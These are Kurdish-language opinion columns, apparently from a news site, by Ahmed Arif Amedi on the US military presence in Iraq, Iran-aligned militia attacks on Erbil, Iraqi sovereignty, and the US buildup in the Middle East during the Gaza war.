قورتال ببن.
ده‌رزه‌كا دى ل دۆر هه‌بوونا هێزێن ئه‌مریكى ل ئیراقێ
ئه‌حمه‌د عارف ئامێدى
هه‌ر ژ رۆخیانا رژێما ئیراقى ل سالا 2003، ئه‌مریكیان ب ئاشكرایى حوكمرانى ل ئیراقێ كربوو، هینگى (پۆل برێمه‌ر) ده‌سهه‌لاتدارێ فعلى یێ سه‌رانسه‌رى ئیراقێ بوو، ژ هینگى و هه‌تا نوكه به‌رده‌وام شه‌ڕ و په‌ڤچوون د ناڤبه‌را هێزێن ئه‌مریكى و ملیشیاتان دا رووداینه؛ ئه‌ڤه ل ژێر بهانه‌یێن حزبى و سیاسى بووینه كو نها بۆ كابینه‌یا سودانى بوویه ئاریشه، بۆ زانین ئه‌ڤان میلیشیاتان به‌لگه‌یێن قانوونى ل سه‌ر ڤان حزبان هه‌نه، سه‌ره‌راى هندێ كو سه‌رب ئه‌جینده‌یێن ئیرانى ڤه‌نه، و ل ژێر فه‌رمانێن هێز وان كاردكه‌ن كو ژ لایێ هێز و به‌رپرسَن ئیرانى ڤه دهێنه ئاراسته‌كرن، ئه‌ڤه ژى نه تشته‌كێ گه‌له‌كێ ڤه‌شارتى یه لێ كه‌سه‌كێ شێت ژى به‌رییا یێ ب ئاقل دزانیت و هه‌ست پێ دكه‌ت. هه‌ر ژ ده‌مێ 2003 و حه‌تا نها ئیراق سه‌قامگیر نه‌بوویه ژ به‌ر دو ئه‌گه‌ران:
1. شیعه ژلایه‌كى ڤه و سوننه ژ لایه‌كێ دیتر ڤه، هه‌ر ئه‌ڤ مه‌زهه‌بگه‌ریه بوویه مالا ئیراقێ وێرانكرى، تایبه‌ت ژین و ژیارا خه‌لكى و قووتێ هه‌ژاران، خه‌لك ده‌ر ب ده‌ربووى وه‌كو ده‌ره‌كێ كوژه‌ك لێ هاتیه، ده‌رمانێ خوه نینه، ڤایرۆسه‌ك بوویه بله‌زتر به‌ربه‌لاڤ دبت و ژینگه‌هه‌كا تایبه‌ت دبینیت.
پشتى ڤه‌كێشانا هێزێن ئه‌مریكى و مانا شاره‌زا ه‌و سه‌رپه‌رشتان كو مه‌شقێ ب هێزێن ئیراقى دكه‌ن چ ل هه‌رێمێ یان ل ئیراقێ، ره‌وشا ئیراقێ گه‌له‌ك بگر و ڤه‌كێش د ناڤبه‌را حزب و میلیشیاتێن ئیراقى ب خوه‌ڤه‌دگرن، ژبۆ رۆخاندنا كه‌سێ ئازا، ئه‌ڤێ رۆخاندنێ گه‌هاندیه راده‌یه‌كى كو لایه‌نێ به‌رامبه‌ر ب خیانه‌تێ و ده‌ستكاتیێ ڤه تۆمه‌تبار دكه‌ن، ئه‌ڤرۆ ل ژێر كابینه‌یا (سودانى) كاردكه‌ن یاكو ب دروستى 5% ژ بریاردانێ ل سه‌ر خزمه‌تكرنا ئیراقێ ژى د ده‌ست دا نینه. ئه‌م مینا ده‌وله‌ته‌كێ د ناڤ ده‌وله‌تێ دا دژین، یانكۆ ده‌وله‌تكێن دناڤ ده‌وله‌ته‌كێ دا. گرۆڤه ژى ئه‌و جڤینا په‌رله‌مانى یا به‌رى هه‌یامه‌كێ ده‌رباره‌ى ده‌رخستنا هێزێن ئه‌مریكى و دابرینا نوونه‌رێن كورد و هنده‌كێن شیعه ژ جڤینێ. ب كۆما 105 نوونه‌ران ژ سه‌رجه‌مێ 322 نوونه‌ران.
حوكمه‌تا سودانى و هنده‌ك لایه‌نێن دیتر و ب هه‌ماهه‌نگى ل گه‌ل هه‌رێمێ، دانوستاندنێن دوقولى ل گه‌ل ئه‌مریكیان ئه‌نجامدده‌ن بۆئێكلاكرنا پاشه‌رۆژا هه‌بوونا هێزێن هه‌ڤپه‌یمانان و ل پێشیێ ژى ئه‌مریكا. لێ یا دهێته رویدان ژ هێرشێن دژى بنگه‌هێن ئه‌مریكى، گه‌له‌ك تشتان ته‌ڤلى هه‌ڤ دكه‌ن و ره‌وشێ ئالۆز دكه‌ن، ئه‌وا ل په‌رله‌مانى هاتیه رویدان په‌یامه‌كه ژ ناڤ هێزا (ئیتاڕ) كو هۆسا ب ساناهى نینه هێزێن ئه‌مریكى ده‌ربكه‌ڤن، چونكو ئه‌مریكا بووییه یا كو ئیراق رزگاركری و نه‌ك ئیران یان ده‌وله‌ته‌كا ئه‌ورۆپى.
ل سه‌ر ڤێ چه‌ندێ تشتێ دهێته رویدان ده‌رباره‌ى ستراتیژیا ئه‌مریكا، دبێژم ئه‌مریكا دێ ل ئیراقێ مینیت و نه ل وى ئاستى یه كو ئیراقێ ل سه‌ر سفره‌كا زێرین پێشكێشى ئیرانێ بكه‌ت. دیسا ژى لایه‌نه‌كێ ب تنێ ل ئیراقێ نه‌شێن چارنڤیسێ هه‌مى ئیراقێ ده‌ستنیشان بكه‌ت ب گۆره‌یى ئایدۆلوژیێن خوه یێن ئایینى یێن ژ ده‌رڤه هاورده‌كرین، په‌یامه‌كه و پسیاره‌كه بۆ وان لایه‌نان ئاراسته دكه‌م كو به‌رسڤى بده‌ن، ئه‌رێ كانێ یه سه‌روه‌ریا ئیراقێ؟ ده‌مێ كو ئیرانێ بۆردۆمانا ئیراقێ ب مۆشه‌كێن دوورهاڤێژ كری، ل سه‌ر كه‌سێن سڤیل و ب بهانه‌یێن ڤالا به‌رناكه‌ڤیت ل ڤێره هه‌ر ئاماژه پێ بده‌ین، ئه‌ڤجا ئه‌ڤێن ب گێولێ خوه باس ل سه‌روه‌ریا ئیراقێ دكه‌ن ل هه‌مبه‌رى ئه‌مریكا، خێره باش ل ڤێ سه‌روه‌ریێ ناكه‌ن وه‌ختێ ئیرانێ هه‌ولێر مۆشه‌ك بارانكرى؟! بۆچى كه‌س نائاخڤیت، بلا به‌رسڤێ بده‌ن!. ل ڤێره ئه‌ڤ هه‌ڤیره دێ گه‌له‌ك ئاڤێ ڤه‌خۆشت و دێ ده‌رزێن مه‌زن كه‌ڤنه د ناڤبه‌را لایه‌نێن شیعه دا ژ به‌ر حه‌زا (فراكسیۆنا چارچووڤا هه‌ماهه‌نگێ) ل د‌ور مانا هێزین هه‌ڤپه‌یمانان.
كونترۆلكرنا ئیراقا ب ناڤ فیدرال
ئه‌حمه‌د عارف ئامێدى
تشته‌ك نه‌وه‌كو تشته‌كى یه، به‌لێ دكارین د ڤى بیاڤى دا بێژین ئیراق و سووریا حه‌تا راده‌كى وه‌كو ئێكن و سه‌روبه‌رێ وان ب حوكمێ جوگرافیێ و مێژوویێ گه‌هاندینه ئه‌ڤى راده‌یێ هه‌یى. هه‌روه‌كو حوكمرانیا دكتاتۆرى شیایه خوه بسه‌پینیت، ئه‌ڤ سه‌پاندنه ژى نه ب چاكیه‌كێ یان ژیرانه بوویه، لێ بۆ به‌لانسا سروشتێ گه‌لێن وان گونجاى بووینه بۆ میناك ل ئیراقێ عه‌ره‌بێن شیعه مه‌زهه‌ب ل ژێرى و ناڤه‌ندا ئیراقێ پتر ئاكنجی بووینه، سونه ژى ل سه‌ر دا و كورد ژى ل ده‌ڤه‌را چیایى بووینه، سه‌ره‌ده‌ریكرن و ته‌ڤلیبوونا وان یا كێم بوویه ژ ئه‌گه‌رێن نه‌بوونا دیموكراتیه‌كێ یان ئه‌گه‌رێن نه‌پێشڤه‌چوونا ئالاڤێن گه‌هاندنێ مینا ئه‌ڤرۆ. لێ سته‌م و زۆرداریا ده‌ستهه‌لاتان كێر گه‌هاندبوو هه‌ستى. نه‌خاسمه ل ئیراقێ و كه‌س ژى نه‌شیا وان بینیته سه‌ر رایێ، هه‌كه بزاڤێن كوردى نه‌بن، ب وان سه‌ده‌مان یا بزاڤێن كوردى و هه‌روه‌سا سه‌رگه‌میا رژێما چوویى، ببوو ئه‌گه‌ر كو حوكمرانى بهێته گوهارتن. حه‌تا هاتیه گوهارتن به‌لێ گه‌لێن ئیراقێ نه‌هاتنه گوهارتن و هزر و ئایدیێن وان پرت و بژاله‌تر لێهاتن. ئه‌ڤرۆ حه‌تا دیمۆكراسیه‌ت هاتیه دى، سه‌روه‌رى و نه‌كونترۆلكرن و مایتێكرنێن ره‌خ و رووییان تێكدان. له‌ورا نها بۆ سه‌ركه‌فتنا سیاسى یا دروست نه‌خاسمه پله‌یا سه‌رۆك وه‌زیران و نه‌ك هه‌ر تشتێ دیتر و هه‌ر تشتێ دژى ڤێ بیت ئه‌و پاشكشه‌كا مه‌زنه، به‌لێ وه‌كو دى ژى د راستى دا و ل سه‌ر ئه‌ردێ ژیوارێ ئه‌ڤ پله‌یه ب خوه هه‌كه ب شێوه‌كێ باش نه‌هێته برێڤه‌برن، دێ بیته ده‌رگه‌هه‌كێ به‌رفره‌ه بۆ خوكوشتنا سیاسى، و ژ مێشكێ هنده‌ك هێزان دووربكه‌ڤیت، ئه‌و ب خوه ته‌كنیكا سیاسى ل ڤان جۆره هه‌لوه‌ستان یا گرنگه، جاران ژى شیانێن گه‌هشتنێ یه بۆ ده‌ستهه‌لاتێ ژ لایێ به‌ڤلێ سیاسى ڤه خوه پشتى پێكئینانا حوكمه‌تێ ژى ب رێیا رۆخیانا وێ پشتى ده‌مه‌كى، ئه‌و چه‌نده ژى ل ناڤ سیسته‌مێ، په‌رله‌مانى دهێته‌كرن، ئه‌ڤه ژى دبیته گرۆڤا نه‌بوونا خواندنه‌كا باش یان پاشه‌رۆژێ بۆ بۆیه‌ران، (ئه‌ڤجا نه هه‌ر كه‌سێ بگه‌هیته ده‌ستهه‌لاتا جێبه‌جێكار دكاریت ل سه‌ر زال ببیت)، به‌لێ هه‌روه‌كو هێزان ئه‌و كه‌سێ دگه‌هیته گوپیتكێ راده‌ست كرى، زه‌حمه‌ته بهێته پالدان بۆ به‌ر ب ژۆردانیێ، ئه‌ڤه ژى ده‌ركه‌فتیه ژ هندێ كو هێزێن دیتر باوه‌رى ب شیانێن خوه نینه ل سه‌ر رێڤه‌برنا باده‌كا ئۆپوزسیۆنێ ب شێوه‌كێ باش.
ئه‌و ب خوه شێوازێ ناكۆكیا سیاسى یا ئه‌ڤێ رێڤه‌برنێ ئیهامێ دكه‌ت كو ئه‌ڤ شێوه بۆ هه‌میان به‌ر ب ده‌سهه‌لاتا بلند یێ ڤه‌كریى یه، زێده‌بارى هندێ كو هێزێن ناڤخوه‌ى ل ناڤ پێكهاتان دا نه‌وه‌كو ئێكن د ژێكجودانه ل سه‌ر نێڕینا ژیوارى بۆ رێڤه‌برنا سیاسى، واته هه‌ر ئێك ب ره‌نگه‌كێ و شێوه‌یه‌كى سه‌رده‌ریێ دكه‌ت ب گۆر سیاسه‌ت و به‌رژه‌وه‌ندى و په‌یره‌وێ خوه. د ده‌رئه‌نجام ژى دا دیار دبیت كو ب ئه‌جینده‌یێن ده‌ره‌كى دهێنه لڤاندن، گرۆڤه ژى ل هه‌مى كابینه‌یان ئارمانجه‌ك دیار دبیت ئه‌وه یا كو ئه‌وه ده‌وله‌تێن هه‌ڤسوى دخوازن ب هه‌ر شێوه‌كى بیت كو هه‌ڤپه‌یمان و لایه‌نێ ئه‌مریكى دره‌نگ ل سه‌ر هایدار ببیت و نه‌شێت چ بكه‌ت، چونكو پیلان ل پشت په‌رده‌یان دهێنه برێڤه‌برن.
و/ ئه‌ڤرۆ
كینه هه‌ولێرێ دكه‌نه ئارمانج؟
ئه‌حمه‌د عار ئامێدى
هه‌ر ژ ده‌مێ رۆخیانا رژێما پێشین ل 2003 و هه‌تا نها هه‌رێم و كورد دهێنه دانان وه‌كو پارچه‌ك ژ ئیراقا فیدرال، د ڤى ده‌مى دا چه‌ندین كابینه هاتنه پێكئینان، هه‌رێم وه‌كو فاكته‌ره‌كێ گرنگ و سه‌ره‌كى د پێكئینانا ڤان حوكمه‌تان دا دهێته هه‌ژمارتن، و دبیته كلیلا ڤه‌كرنا ئاریشه‌یێن وان، ئه‌ڤێ ئێكێ ژى دوژمن به‌رییا دۆستى دانپێدانێ پێ دكه‌ن، هه‌رێم خیڤه‌ته‌كا گشتى یا مه‌زنه بۆ گشت مۆزاییكا ئیراقى و بێ جوداكرن د ناڤبه‌ر چو تائیفه و نه‌ته‌وه‌یان دا. ئیراقا فیدرال هه‌رده‌م د ناڤ قه‌یرانێن سیاسى ناڤخوه‌یى و ده‌ره‌كى را ده‌رباز دبیت، د ناڤ هه‌ر قه‌یرانه‌كێ ژى دا دێ هه‌رێم بیته ئارمانج ل گه‌ل باره‌گایێن ئه‌مریكیان یان هێزێن هه‌ڤپه‌یمانان ل باژارێن هه‌رێمێ، بۆ زانین حوكمه‌تا ئیراقێ رێكه‌فتن و په‌یمان و هه‌ماهه‌نگی د ناڤبه‌را هه‌ڤدو دا هه‌نه ل گه‌ل هێزێن ئه‌مریكى یان هێزێن هه‌ڤپه‌یمانان، ژبه‌ر هه‌بوونا وان ب ره‌نگه‌گێ قانوونى ل سه‌ر ئه‌ردێ ئیراقا فیدرال، به‌لێ ده‌مێ قه‌یرانه‌كا سیاسى دهێته رویدان هنده‌ك میلیشیات هه‌ولێرێ ب بهانه‌كا بێ بنما بۆ خوه دكه‌نه ئارمانج ، بهانه ژى زۆرن و نه ژ دویر و نه ژ نێزیك راستیه‌ك بۆ هه‌یه، وه‌كو هه‌بوونا باره‌گایێن ئیسرائیلى ل سه‌ر ئه‌ردێ هه‌رێمێ، دبێژم گه‌ر خه‌مساریه‌ك ژ لایێ حوكمه‌تا ئیراقێ ڤه هه‌مبه‌رى میلیشیاتێن سه‌ر ب ئیرانێ ڤه هه‌بیت، بێگومان خه‌مساریه‌ك و كێماسیه‌ك ژ لایێ حوكمه‌تا ئیراقێ ڤه هه‌یه همبه‌رى ڤان گرۆپێن سه‌ر ب ئیرانێ و ئه‌جینده‌ێن ده‌ره‌كى یێن حزبى یێن نه ساخ ڤه.
د هه‌ر هێرشه‌كا وێرانكار دا ل دژى هه‌رێمێ، دێ هنده‌ك رێنما ژ لایێ سه‌ركرده‌یێ گشتى یێ حوكمه‌تا فیدرال ڤه ده‌ركه‌ڤن ب رێیا سه‌ركرده‌یا ئۆپه‌راسیۆنیِن هه‌ڤپشكێن ئیراقى، كو دێ لیژنه‌یێن لێكۆلینێ ل سه‌ر ڤێ هێرشێ هێنه پێكئینان و ئه‌و لایه‌نێ هێرش كرى، هه‌ما وه‌ك رۆتینه‌كا سیاسى یه حوكمه‌تا ئیراقێ بۆ خوه كریه په‌نا بێى مفایه‌كێ سیاسى بۆ هه‌یبه‌تا هه‌رێمێ بده‌ستڤه‌بینیت!. بۆ زانین ئه‌م هه‌ست دكه‌ین و دزانین كو هنده‌ك حوكمه‌ت هه‌نه و نه‌ك ئێك حوكمه‌ت هه‌یه كۆنترۆلێ ل سه‌ر سیاسه‌تا ئیراقێ دكه‌ت ژ لایێ حوكمه‌ته‌كێ د نیڤا حوكمه‌ته‌كا دى دا برێڤه‌دبه‌ت، مه‌ره‌ما من ژى میلیشیاتێن سه‌ر ب ئیرانێ ڤه.
به‌لێ ل ده‌سپێكێ و ژبلى ئه‌ڤ هێرشا به‌رى شه‌ڤه‌كێ كو باره‌گایێن پێشمه‌رگه‌ى داببوون، پێشمه‌رگه ژى پشكه‌كه ژ رێخستیا هێزێن ئیراقى و به‌رگریێ. چونكو مادده‌یێ 121 بڕگه‌یا 5 وه‌دبێژیت. ئه‌ڤجا چاوا وژدان به‌رییا ئه‌قلى قه‌بوول دكه‌ت كو باره‌گایێن پێشمه‌رگه‌ى ل پیرمام و هه‌ولێر ببنه ئارمانج؟ چونكو باره‌گایێ سه‌رۆك بارزانى ل وێرییه، ئه‌ڤ هێرشه د ئه‌نجام دا دێ بنه ئه‌گه‌رێ تێكدانێ و ناكۆكییان د ناڤبه‌را ناڤه‌ندێ و هه‌رێمێ دا، چونكو هێرشكرن ل سه‌ر پیرمام، هێرشكرنه بۆ سه‌ر هه‌یبه‌ت و ئێكبوونا هه‌رێمێ كو پشكه‌كه ژ ئیراقا فیدال. به‌لێ ب مخابنی ڤه یا دهێته رویدان ژلایێ گرۆپان ڤه كو ره‌وشت و شه‌ره‌ف بۆ ئه‌جینده‌یان و وه‌لاتێن هه‌ڤسوى فرۆتین ل سه‌ر كسیتێ بیروباوه‌رێن خوه. بۆ ئه‌ڤان كه‌سان دبێژین هه‌كه چو مفا د هه‌بوونا هه‌وه دا نه‌بن، نه‌بنه هسترى بۆ وه‌لاتێ خوه، چونكو دیرۆك دلۆڤانیێ ب وان نابه‌ت یێن وه‌لاتێ خوه دفرشن.
تشتێ سه‌یر ئه‌وه كو گه‌له‌ك ژ ڤان هێرشان ب چه‌كێ ئیراقى دهێته كرن كو ئه‌وێ ئێكێ دیاردكه‌ت ئیراقێ چو ده‌ستهه‌لات نینن كونترۆلێ ل سه‌ر وان بكه‌ت، هه‌رچه‌نده حوكمه‌تا ئیراقێ باره‌گایێن وان دزانیت و ب سپۆنسه‌رێن وان ژى دكه‌ڤیت كو گه‌له‌ك ژ وان نوونه‌رێن خوه د ناڤا په‌رله‌مانى ژى دا هه‌نه، مینا به‌رگریا ئیسلامى و حزبوللایا ئیراقى و عه‌سائی و نوجه‌با و.. گه‌له‌كێن دیتر ..
دڤێت حوكمه‌تا ئیراقێ راده‌یه‌كى بۆ ڤان هێرشان دابنیت چونكو ژ سه‌روه‌ریا وێ كێم دكه‌ت به‌رییا یا هه‌رێمێ چونكو هه‌رێمێ سۆز دایه به‌رسڤا ڤان هێرشان بده‌ت یێن ژلایێ كه‌س و گرۆپێن ده‌رڤه‌ى قانوونێ كاردكه‌ن. نه‌خاسمه گه‌له‌ك وه‌لاتان ژى ئیدانه‌یا ڤان كریاران كریه كو ژ وان ژى هێزێن هه‌ڤپه‌یمانان و ئه‌مریكانه، وه‌زاره‌تا ده‌رڤه یا فره‌نسى،..هتد. له‌وا گرنگه ئیراق بسه‌لمینیت كو ده‌سهه‌لاتا قانوونێ ل سه‌ر هه‌مى تشتان دایه.
و/ ئه‌ڤرۆ
ئه‌مریكا ب هێز ڤه‌دگه‌ریێته رۆژهه‌لاتا ناڤین
ئه‌حمه‌د عارف ئامێدی
ژبه‌ر روودانێن گه‌رم ل رۆژهه‌لاتا ناڤین و بۆیه‌رێن غه‌ززه پشتی حه‌فتی ئوكتۆبه‌رێ و هه‌تا نها و ئه‌و لڤینا گرۆپێن به‌رهنگار ل دژی هه‌بوونا ئه‌مریكی و تایبه‌تی ل ئیراقێ و سووریێ.
حه‌شدێن له‌شكرێ ئه‌مریكی ل رۆژهه‌لاتا ناڤین یێن زێده دبن و دبنه جهێ پرسیارێ گه‌له‌ك مه‌ترسیان كو شه‌ڕێ غه‌ززه به‌رفره‌ه ببیت، چونكو ئیسرائیلێ ب سیاسه‌تا خوه یا هێزێ و توندیێ ل هه‌می بیاڤێن ژیانێ دا ل غه‌ززه، و چو سه‌نگ و بهایه‌ك نه‌دایه جڤاكێ ده‌ولی و نه‌ته‌وێن ئێكگرتی و عورف و قانوونێن ده‌ولی و تاوانێن شه‌ڕی، هه‌تا وی راده‌ی كو دانپێدانێ ب هه‌ڤپه‌یمانێن خوه ژی نه‌كه‌ت چو ئه‌مریكا بیت یان وه‌لاتێن رۆژئاڤا.
ئه‌ڤرۆ ئه‌ڤ حه‌شدێن ئه‌مریكی ژ هه‌لگرێن فرۆكه‌یێن (USS) و (جیرالد فۆرد) كو نێزیكی پێنچ هزارسه‌ربازان ژ پیاده‌یا ده‌ریایی رادكه‌ت (مارینز) و پاپۆرێن شه‌ڕی یێن دگه‌لدا، زێده‌باری وێ هه‌لگرا گه‌هشتیه ده‌ریا سپی و پاپۆڕا هێرشبه‌ر یا (به‌ڕمائی ـ USS Batan ).
بۆ زانین گرۆڤه ئاماژێ دده‌ن كو ژماره‌یا سه‌ربازێن ئه‌مریكی د مه‌ودایێ ڤان ته‌حشیدان دا گه‌هشتیه پتر ژ 12 هزار كه‌سان، چونكو ئاستێ له‌شكرێ ئه‌مریكی هه‌تا نها گه‌هشتیه دو هزار سه‌ربازان د ره‌وشه‌كا ئاماده‌باشیێ دا وه‌كو پشته‌ڤانیكرن بۆ ئیسرائیلێ، هه‌روه‌كو به‌نتاگۆنێ هنارتنا 1000 تاكان ژ یه‌كه‌یێن مایتێكرنا بله‌ز هاتیه راگه‌هاندن پێخه‌مه‌ت پشته‌ڤانیكرنا بزاڤێن به‌رسڤدانا هه‌رێماتیك ل ده‌ڤه‌رێ وبه‌رده‌وامكرنا شیان و پاراستنا هێزێن ئه‌مریكی، ئه‌مریكا هه‌بوونا موكومتر كر ب سیسته‌مێ به‌رگریا مووشه‌كا (تاد) ژ به‌تاریێن مۆشه‌كان (پاتریۆت) زێده‌باری نێزیكی 11 بڕێن فرۆكه‌یێن شه‌ڕكه‌ر (F15. F16. F18) و فرۆكه‌یێن شه‌ڕكر یێن هێرشبه‌ر ژ جۆرێ (A10) یێن كۆژه‌ك.
ب راستی تشتێ دهێته روودان مایتێكرنا ئه‌مریكیایه ب ره‌نگه‌كێ راسته‌وخوه د شه‌ڕێ (غه‌ززه) دا، به‌لێ سه‌رۆك جۆبایدن و مه‌زنه به‌رپرسێن كابینه‌یا وی ڤێ مایتێكرنێ د شه‌ڕی دا ره‌ت دكه‌ن، به‌لكو حه‌زا وان كو ئه‌و ڤالاهیا ستراتیژیك پڕدكه‌ن یا كو ئه‌مریكا هێلای ژبه‌ری چه‌ند ساله‌كا ل رۆژهه‌لاتا ناڤین، به‌لێ ئاماژه بۆ نیازا ڤێ به‌ربه‌لاڤبوونێ دچن ئه‌و ژی دامه‌زراندنا ((بنگه‌هه‌كێ له‌شكری ئه‌مریكی نێهنی ل ئیسرائیل)) ژ ئه‌وان ئه‌م دبهیسین و ب چاڤ دبینین ژ نێزیكبوونا ئه‌مریكی ـ ئیسرائیل بۆ گه‌له‌ك جاران د ناڤبه‌را (به‌نتاگۆن) و سه‌ركرده‌یا ناڤه‌ندی یا هێزێن ئه‌مریكی، ب رێیا ئه‌ڤان په‌یوندیان ئه‌مریكا ل گه‌ل ئیسرائیل بزاڤان ب هه‌می پێشڤه‌چوونان ل غه‌ززه دكه‌ت و ئازادكرنا بارمته‌یان، یانكو ئه‌مریكا بزاڤێ دكه‌ت مه‌ودایێ ڤی شه‌ڕی بۆ گه‌له‌ك ئاراسته‌یان به‌رفرهتر نه‌بیت، د گه‌ل ڤێ ئێكێ ژی دا ره‌وش زێده‌تر ل (زیفه غه‌ربیه) و ئه‌ردێن فلستینی یا داگیركری نه‌په‌قیت و چریسكێن وێ بۆ لوبنان ڤه‌نه‌په‌شن، كو ئه‌ڤ شه‌ڕ و په‌هه‌ڤچوونه ب رێیا هێلا شین د ناڤبه‌را (حزبوللا) و ئیسرائیلێ دا دژوار ببن، به‌لكو به‌ر ب سووریا و لوبنانێ و رۆژئاڤا ئیراقێ ژی بچیت، چونكو ئه‌ردێن بلند ل جۆلانێ تووشی دربێن ئیسرائیلی بووینه ژبه‌ر لێدانا مووشه‌كان ژ چیایێن جۆلان به‌ر ب باژارێن ئیسرائیلێ، زێده‌باری مه‌ترسیێن مه‌زن ل سه‌ر ئاسایشا هه‌رێماتیك ژ به‌ر رۆل و چالاكیا ئیران دبینیت بۆ چه‌كداركرنا و ته‌مویلكرنا گرۆپێن ب سه‌ر وێ ڤه.
هه‌بوونا هێزێن ئه‌مریكی ره‌هه‌ندێن ستراتیژیك هه‌نه پشتی هنارتنا هه‌ردو هه‌لگرێن فرۆكه‌یان و به‌لاڤكرنا هزاران سه‌ربازێن ئه‌مریكی ل ده‌وروبه‌رێن ئیسرائیلێ، به‌ریا هێرشا ((حه‌ماس)) ئه‌مریكا ب پلانه‌كا ((به‌نتاگۆن)) رابوویه ب گرێبه‌سته‌كێ ب ملیۆنان دۆلاران بۆ دانانا سازیێن له‌شكری بۆ هێزێن ئه‌مریكی ل بنگه‌هه‌كێ نهێنی ل سه‌ر چیایێ هاركرین ل نیڤا قولایا بیابانا (ئه‌لنه‌قه‌ب)، ب دووراتیا 35 كیلۆمه‌تران ب تنێ ژ غه‌ززه. بۆ زانین ئه‌ڤا كه‌ڤن ناڤێ ((سایت 512)) ب خوه‌ڤه‌دگریت،ئه‌ڤه ژی سازیه‌كا ئیداری حسابا هه‌ر هێرشه‌كا مۆشه‌كان ل دژی ئیسرائیلێ دكه‌ت.
ئه‌مریكا و وه‌لاتێن هه‌ڤپه‌یمانی و رۆژئاڤاێ و ب په‌یره‌و و پلانه‌كا ئه‌مریكی و ئیسرائیلی، بزاڤێ دكه‌ن كو ده‌وله‌ته‌كێ بۆ غه‌ززه دورست بكن ب سنووره‌كێ نوی و چاڤدێریه‌كێ ژ لایێ رۆژئاڤێ پشتی بدوماهیهاتنا شه‌ڕێ ل غه‌ززه دهێته كرن.به‌لێ غه‌ززه و سه‌ركرده‌یێن وان ئه‌ڤان هه‌ولان ره‌ت دكه‌ن چونكو دێ حه‌ماس و سه‌رانێن وێ و خه‌لكێ غه‌ززه كه‌نه د قه‌فه‌سه‌كێ دا، مینا بلبلان، و دێ ب ئاڤێ و خوارنێ هێنه به‌خشین، ب ڤی ره‌نگی ئه‌مریكا و ئیسرائیل دڤێت و ب پشته‌ڤانیكرنا نیڤده‌ولی بۆ خوه‌جهكرنا ئه‌ڤان پلانێن نها و پشتی هینگی ژ پلانێن پاشه‌رۆژێ بۆ بهێزخستنا جوهیان و ده‌وله‌تا ئیسرائیل ل سه‌ر كیستێ ده‌ڤه‌رێ و هه‌می وه‌لاتێن عه‌ره‌بی و تایبه‌ت یێن ب ره‌خ ئیسرائیل ڤه. ـ
و/ ئه‌ڤرۆ
WP Facebook Auto Publish Powered By : XYZScripts.com